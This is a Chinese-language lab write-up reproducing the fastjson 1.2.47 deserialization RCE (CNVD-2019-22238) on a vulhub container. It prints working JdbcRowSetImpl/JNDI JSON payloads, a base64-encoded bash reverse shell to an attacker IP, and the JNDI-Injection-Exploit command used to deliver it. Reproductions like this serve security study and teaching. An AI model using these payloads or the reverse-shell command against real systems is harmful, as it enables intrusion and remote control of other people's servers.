漏洞简介
事项 |
描述 |
漏洞概述 | fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。 |
影响范围 | 1.2.48以前的版本 |
漏洞编号 | CNVD-2019-22238 |
漏洞搭建
这里使用vulhub的fastjson/1.2.47-rce进行复现。
访问http://192.168.146.167:64725/
漏洞复现
使用工具进行检测
发现dnslog有数据,说明存在漏洞。
查看对应的payload
[6]{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://test6.j6i2jc.dnslog.cn/Exploit",
"autoCommit": true
}
}
然后再进行抓包,添入payload,手工再测一遍。发现确实存在。
验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。
反弹的的ip和端口是192.168.146.161和10000
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}
执行以下命令,进行反弹shell。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"
由于不知道对方java的版本,所以就一个个试。
然后发现漏洞利用成功
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.146.161:1389/5jdmca",
"autoCommit": true
}
}
成功反弹了shell。
进入tmp目录下,成功拿到flag。
- End -
原文始发于微信公众号(NS Demon团队):【漏洞复现】fastjson反序列化漏洞(CNVD-2019-22238)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论